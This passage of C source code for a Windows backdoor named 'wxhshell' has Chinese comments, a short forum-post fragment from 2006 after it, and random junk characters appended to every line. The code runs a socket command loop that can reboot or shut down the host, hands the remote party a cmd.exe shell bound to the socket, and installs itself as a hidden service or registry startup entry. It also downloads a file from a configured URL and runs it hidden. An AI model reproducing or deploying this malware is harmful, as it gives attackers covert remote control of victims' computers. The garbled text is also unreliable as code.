      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )LE#SGJP  
    break; _<l9j;6  
  } @wW)#!Mou  
  // 安装 I}1<epd ,  
  case 'i': { }3y Q*<  
    if(Install()) e}q!m(K]e-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zz56=ZX*_  
    else "'mr0G9X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3G-f+HN^E  
    break; }t5pz[zl  
    } 'K3%@,O  
  // 卸载 {m 5R=22^  
  case 'r': { %{^kmlO  
    if(Uninstall()) d15E$?ZLH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BG2Z'WOH  
    else aKkY)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D[CEg2$y  
    break; ]e]hA@4  
    } _D."KU|  
  // 显示 wxhshell 所在路径 ;#6j9M0  
  case 'p': { w0$l3^}z  
    char svExeFile[MAX_PATH]; X>VxE/  
    strcpy(svExeFile,"\n\r"); K2t|d[r  
      strcat(svExeFile,ExeFile); [:-o;K\.-a  
        send(wsh,svExeFile,strlen(svExeFile),0); -Khb  
    break; 'C\knQ  
    } 8:t1%O$  
  // 重启 %'<m[wf^ o  
  case 'b': { kNTxYJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R3} Z"  
    if(Boot(REBOOT)) aW#_"Y}v'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h*?/[XY  
    else { t^@4n&Dg  
    closesocket(wsh); 0Kenyn4?  
    ExitThread(0); Se&%Dr3Nv  
    } 6'vt '9  
    break; ?kM53zbT#  
    } `PvGfmYOl  
  // 关机 T1pMe{  
  case 'd': { }8&L?B;90  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O8S"B6?$~'  
    if(Boot(SHUTDOWN)) j8#B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >l|dLyiae  
    else { YfOO]{x,X  
    closesocket(wsh); O{`r.H1',  
    ExitThread(0); CF+:9PG  
    } .=-K7.X.)  
    break; b-,]21  
    } L~xzfO  
  // 获取shell 'aW<C>  
  case 's': { p3(&9~ s  
    CmdShell(wsh); }9ZcO\M  
    closesocket(wsh); 5T;,wQ<  
    ExitThread(0); cE0Kvqe`  
    break; Ok2>%e  
  } >QM$ NIf@  
  // 退出 wXxk+DV@  
  case 'x': { ~",,&>#[K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )t$|'c}  
    CloseIt(wsh); .]W A/}  
    break; Uw5`zl  
    } ^YG.eT6iG  
  // 离开 Ws(#ThA  
  case 'q': { k,nRC~Irh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1u0 NG)*f  
    closesocket(wsh); ,zY!EHpx  
    WSACleanup(); Zf%6U[{ T  
    exit(1); 9K F`9Y  
    break;  a7UfRG  
        } )q+9_KU q  
  } xkzC+ _A  
  } *S@0o6v  
mf)o1O&B  
  // 提示信息 sw715"L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?krgZ;Jj  
} I*^3 Z  
  } +e%U6&l{  
|%~sU,Y\(  
  return; .5x+FHu7  
} /N&)r wc  
*"D8E^9  
// shell模块句柄 enGjom  
int CmdShell(SOCKET sock) -dn\*n5  
{ )gR !G]Y  
STARTUPINFO si; :h+gSvn:  
ZeroMemory(&si,sizeof(si)); X6dv+&=?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cQMb+Q2Yw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7}<05 7Xn'  
PROCESS_INFORMATION ProcessInfo; s$ 2@|;  
char cmdline[]="cmd"; *rk!`n&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sy<s/x^`  
  return 0; 4W''j[Y/  
} *OQr:e<}  
yS[Z%]bvU  
// 自身启动模式 f}c z_"o4  
int StartFromService(void) 0-W{(xy@4  
{ IJA WG  
typedef struct e/;chMCq  
{ 2$O @T]  
  DWORD ExitStatus; ?][2J  
  DWORD PebBaseAddress; @*gm\sU4  
  DWORD AffinityMask; ?>W4*8 (  
  DWORD BasePriority; 6Q. _zk  
  ULONG UniqueProcessId; # N.(ZP  
  ULONG InheritedFromUniqueProcessId; iPxhDn<B  
}   PROCESS_BASIC_INFORMATION; $(6 .K-D  
LA.xLU3  
PROCNTQSIP NtQueryInformationProcess; 6%B5hv24v  
Ppzd.=E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +89s+4Jn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bt,^-gt@  
&ns !\!  
  HANDLE             hProcess; #D$vH  
  PROCESS_BASIC_INFORMATION pbi; *|RQ )  
siHS@S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lnFOD+y9  
  if(NULL == hInst ) return 0; ~\%MJ3  
#w4= kWJ[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u,e(5LU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v^h \E+@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P/'~&*m-  
.f V-puE  
  if (!NtQueryInformationProcess) return 0; I"]5B  
JxP=[>I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XK (y ?Y1  
  if(!hProcess) return 0; l0 H,TT~2  
3 G?^/nB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ? 5qo>W<7  
RrkS!E[C  
  CloseHandle(hProcess);  l+.E'   
D@i,dPz5Zl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *@q+A1P7@  
if(hProcess==NULL) return 0; QM1-w^  
|yi3y `f  
HMODULE hMod; Ok+zUA[Wu  
char procName[255]; 9K@>{69WQ  
unsigned long cbNeeded; FBM 73D@`  
T{={uzQeJJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u":D{+wC |  
Ey77]\  
  CloseHandle(hProcess); g< cR/  
,*2%6t`N?  
if(strstr(procName,"services")) return 1; // 以服务启动 .(,4a<I?%N  
R<gC,eV<=  
  return 0; // 注册表启动 0}YR=  
} -~A7o3k35  
~EIY(^|py  
// 主模块 &X +Qi  
int StartWxhshell(LPSTR lpCmdLine) ?gb"S,  
{ kyQ%qBv ^  
  SOCKET wsl; uD&!]E3  
BOOL val=TRUE; .#uRJo%8  
  int port=0; 3,bA&c3  
  struct sockaddr_in door; oAX-Sg-/$  
8{HeHU  
  if(wscfg.ws_autoins) Install(); /LM*nN$%  
"3{xa;c  
port=atoi(lpCmdLine); ~pn9x;N%H  
6u3DxFiTm  
if(port<=0) port=wscfg.ws_port; xa`&/W>  
]],6Fi+  
  WSADATA data; @.gT&Hq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _F^k>Lq&d  
n*^g^gp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ei;wT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zYdSg<[^  
  door.sin_family = AF_INET; ~F*pV*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sB_o HUMH6  
  door.sin_port = htons(port); !ZbNW4rIP  
n37C"qJ/i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]<q{0.  
closesocket(wsl); $V~r*#$.  
return 1; GA{>=Q _~  
} &J_|P43  
z12[vN  
  if(listen(wsl,2) == INVALID_SOCKET) { pr\yc  
closesocket(wsl); kL^;^!Nt  
return 1; 5n r}5bum  
} lnW/T--  
  Wxhshell(wsl); Dn _D6H  
  WSACleanup(); >U^AIaW  
!arcQ:T@G  
return 0; $"T1W=;j9  
p2PD';"  
} -9/YS  
9U6y<X  
// 以NT服务方式启动 j4le../N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qp<?[C}'W  
{ TH/!z,( >  
DWORD   status = 0; &-+qB >SK>  
  DWORD   specificError = 0xfffffff; 5oplV(<?*S  
EuqmA7s8A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R! ?8F4G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0\wMlV`F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kf0zL3|   
  serviceStatus.dwWin32ExitCode     = 0; E=w$r  
  serviceStatus.dwServiceSpecificExitCode = 0; C/e`O|G  
  serviceStatus.dwCheckPoint       = 0; ;u,%an<(  
  serviceStatus.dwWaitHint       = 0; |hehROUn  
"OFYVK\]i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C^Tc9  
  if (hServiceStatusHandle==0) return; \SnW(,`oX  
3mZX@h@  
status = GetLastError(); 88h-.\%Z  
  if (status!=NO_ERROR) +Bv{A3E9  
{ whoz^n3NE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X#5dd.RR  
    serviceStatus.dwCheckPoint       = 0; _< 69d  
    serviceStatus.dwWaitHint       = 0; "*#$$e53A  
    serviceStatus.dwWin32ExitCode     = status; ppVjFCv0<  
    serviceStatus.dwServiceSpecificExitCode = specificError; A,MRK#1u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GC H= X  
    return; Mq42^m:qe  
  } d6<,R;)  
Gp$[u4-6M6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nTY`1w.;  
  serviceStatus.dwCheckPoint       = 0; @.T'  
  serviceStatus.dwWaitHint       = 0; |A 7Yv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :D-d`OyjG>  
} Ka2U@fK"  
`?rPs8+R  
// 处理NT服务事件,比如:启动、停止 @fT*fv   
VOID WINAPI NTServiceHandler(DWORD fdwControl) p{!aRB%  
{ Vlce^\s;  
switch(fdwControl) (iGk]Rtzt  
{ v*QobI  
case SERVICE_CONTROL_STOP: G-Z_pGer^  
  serviceStatus.dwWin32ExitCode = 0; 1QE-[|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l},*^Sn<5  
  serviceStatus.dwCheckPoint   = 0; Q <^'v>~n  
  serviceStatus.dwWaitHint     = 0; d#I'9O0&  
  { k$}XZ,Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O?D*<rwD  
  } ,Zzh.z::D  
  return; X6!u(plVQ  
case SERVICE_CONTROL_PAUSE: *FR Eh@R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;%]Q%7  
  break; C>N)~Ut  
case SERVICE_CONTROL_CONTINUE: 1]fqt[*)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :cG_aO kid  
  break; sqei(OXy  
case SERVICE_CONTROL_INTERROGATE: i5|A\Wv"  
  break; J^pL_  
}; W$B>O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v%/_*69a  
} %H~q3|z  
Mmbb}(<  
// 标准应用程序主函数 SYB } e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %#02Z%?%  
{ bU=!~W5  
WUGPi'x  
// 获取操作系统版本 0fXdE ;M3  
OsIsNt=GetOsVer(); kE,~NG9P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?nB).fc  
f_9%kEXICt  
  // 从命令行安装 N|z-s  
  if(strpbrk(lpCmdLine,"iI")) Install(); odny{ePAf  
eek5Xm  
  // 下载执行文件 >6=yxCJ  
if(wscfg.ws_downexe) { fa/ '4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WY?(C@>s  
  WinExec(wscfg.ws_filenam,SW_HIDE); p{t2pfb  
} Sq UoXNw  
K`j#'`/KC  
if(!OsIsNt) { jbn{5af  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ngu+V  
HideProc(); _I&0HRi  
StartWxhshell(lpCmdLine); QSAz:Yvf|  
} G#N h)ff  
else . CLiv  
  if(StartFromService()) =:1f 0QF  
  // 以服务方式启动 3kdTteyy+  
  StartServiceCtrlDispatcher(DispatchTable); @&S4j]rq  
else y{s?]hLk  
  // 普通方式启动 1*[h$Z&H?  
  StartWxhshell(lpCmdLine); IJs*zzR  
PsEm(.z  
return 0; E xc`>Y q  
}
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只看该作者 1 发表于: 2006-10-10
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